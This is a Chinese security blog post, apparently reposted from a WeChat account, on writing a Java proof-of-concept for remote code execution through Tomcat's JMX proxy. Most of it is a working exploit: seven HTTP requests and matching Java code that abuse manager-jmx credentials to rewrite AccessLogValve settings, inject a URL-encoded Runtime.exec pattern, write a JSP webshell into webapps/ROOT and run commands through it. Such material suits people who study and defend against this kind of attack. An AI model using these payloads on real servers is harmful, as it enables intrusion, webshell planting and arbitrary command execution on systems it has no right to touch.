昨日的审计视频已经上传到百度网盘了链接自取:
链接:https://pan.baidu.com/s/1r6dMBU9t9uEVig3SP5tSTw
提取码:kn03
--来自百度网盘超级会员V1的分享
参考:一种Tomcat的利用方式 | 4ra1n
长话短说就是 jmx这个组件 可以获取jvm运行中的类信息 和查看,也可以进行设置
当时入门安全的时候 也是在迪哥群里认识的,不得不说 实属牛批,许少的小迷弟。之前参考 tomcat 特殊内存马 也让我学到了另一种权限维持的姿势。
我个人的编程技术 也是烂的很,底层的东西暂时分析不了,哎
下载了tomcat的源码 好奇 还是想看看代码
漏洞的源代码位于 apache-tomcat-9.0.50-srcjavaorgapachecatalinaant
存在一个antilb.xml 简单看一下
引用了三个类
逐个类 看一看 目前我的技术也只能看懂一点 细节啥的就gg了
JMXSetTask
设置任务
三个变量
get set方法
JMXGetTask
获取任务
定义两个变量
protected String bean = null;
protected String attribute = null;
基础的 变量 get set方法
判断变量是否有数据 执行方法 将数据url编码
JMXQueryTask
查询任务 也是url编码
看上去 没多少行代码,实际上 细节部分在 jmx包下 不过不是今天的主题了
因为最近项目很忙,好长时间没接触代码,有些生疏。看了4ra1n的博客,感觉这个很有意思,和spring rce简直一模一样,许少写的利用工具是 go的 我不会,想着动手练习下java,顺便写个java的。
发送http请求的话,java 中有几个,如 原生的 urlconnection apache的 httpclinets
spring的RestTemplate 和 okhttp3 等
tomcat 配置文件添加登录认证
conf/tomcat-users.xml
<user username="admin" password="123456" roles="manager-jmx"/>
手动发包 需要七次
用代码发送 也需要七次
修改日志格式为一句话:于是每条新日志都会变成一句话
注意不能包含特殊符号,所以使用%{header}i从请求头中提取<%等特殊符号
修改日志后缀为:JSP
修改日志前缀为:shell(只要可控即可无需在意具体是什么)
修改日志目录为可以解析JSP的目录:例如默认的webapps/ROOT
修改日志文件名时间格式目的是使rotate创建新文件,写入JSP马
带有特殊请求头的请求即可写入Webshell
绘制界面
添加逻辑代码
主要是分两点,
一个是url 拼接参数
二个是 加 base64认证
步骤1
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=pattern&val=%25%7b%70%7d%69%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6d%64%22%29%29%3b%20%25%7b%73%7d%69 HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Authorization: Basic BASE64(username:password)
String url = "http://" + host.getText() + ":" + port.getText();
String payload = "/manager/jmxproxy/?set=Catalina:type=Valve,host=" + host.getText() + ",name=AccessLogValve&att=pattern&val=%25%7b%70%7d%69%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6d%64%22%29%29%3b%20%25%7b%73%7d%69";
String http = url + payload;
// base64认证
String authString = user.getText() + ":" + pass.getText();
byte[] authEncBytes = Base64.encode(authString.getBytes());
String authStringEnc = new String(authEncBytes);
URL obj = new URL(http);
HttpURLConnection con = (HttpURLConnection) obj.openConnection();
con.setRequestProperty("Authorization", "Basic " + authStringEnc);
步骤2
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=suffix&val=.jsp HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Authorization: Basic BASE64(username:password)
String payload = "/manager/jmxproxy/?set=Catalina:type=Valve,host=" + host.getText() + ",name=AccessLogValve&att=suffix&val=.jsp";
步骤3
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=prefix&val=shell HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Authorization: Basic BASE64(username:password)
String payload = "/manager/jmxproxy/?set=Catalina:type=Valve,host=" + host.getText() + ",name=AccessLogValve&att=prefix&val=test";
步骤4
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=directory&val=webapps/ROOT HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Authorization: Basic BASE64(username:password)
String payload = "/manager/jmxproxy/?set=Catalina:type=Valve,host=" + host.getText() + ",name=AccessLogValve&att=directory&val=webapps/ROOT";
步骤5
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=fileDateFormat&val= HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Authorization: Basic BASE64(username:password)
String payload = "/manager/jmxproxy/?set=Catalina:type=Valve,host="+host.getText()+",name=AccessLogValve&att=fileDateFormat&val=";
步骤6
GET / HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
p: <%
s: %>//
con.setRequestProperty("p", "<%");
con.setRequestProperty("s", "%>//");
步骤7
GET /shell.jsp?cmd=calc.exe HTTP/1.1
Host: 127.0.0.1:8080
Connection: clos
最终效果
代码比较烂,主要是练习下,顺便巩固下基础。
美好的周末都在写代码,调试bug,不说了,打游戏去。
原文始发于微信公众号(轩公子谈技术):Tomcat jmx组件 RCE poc编写
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论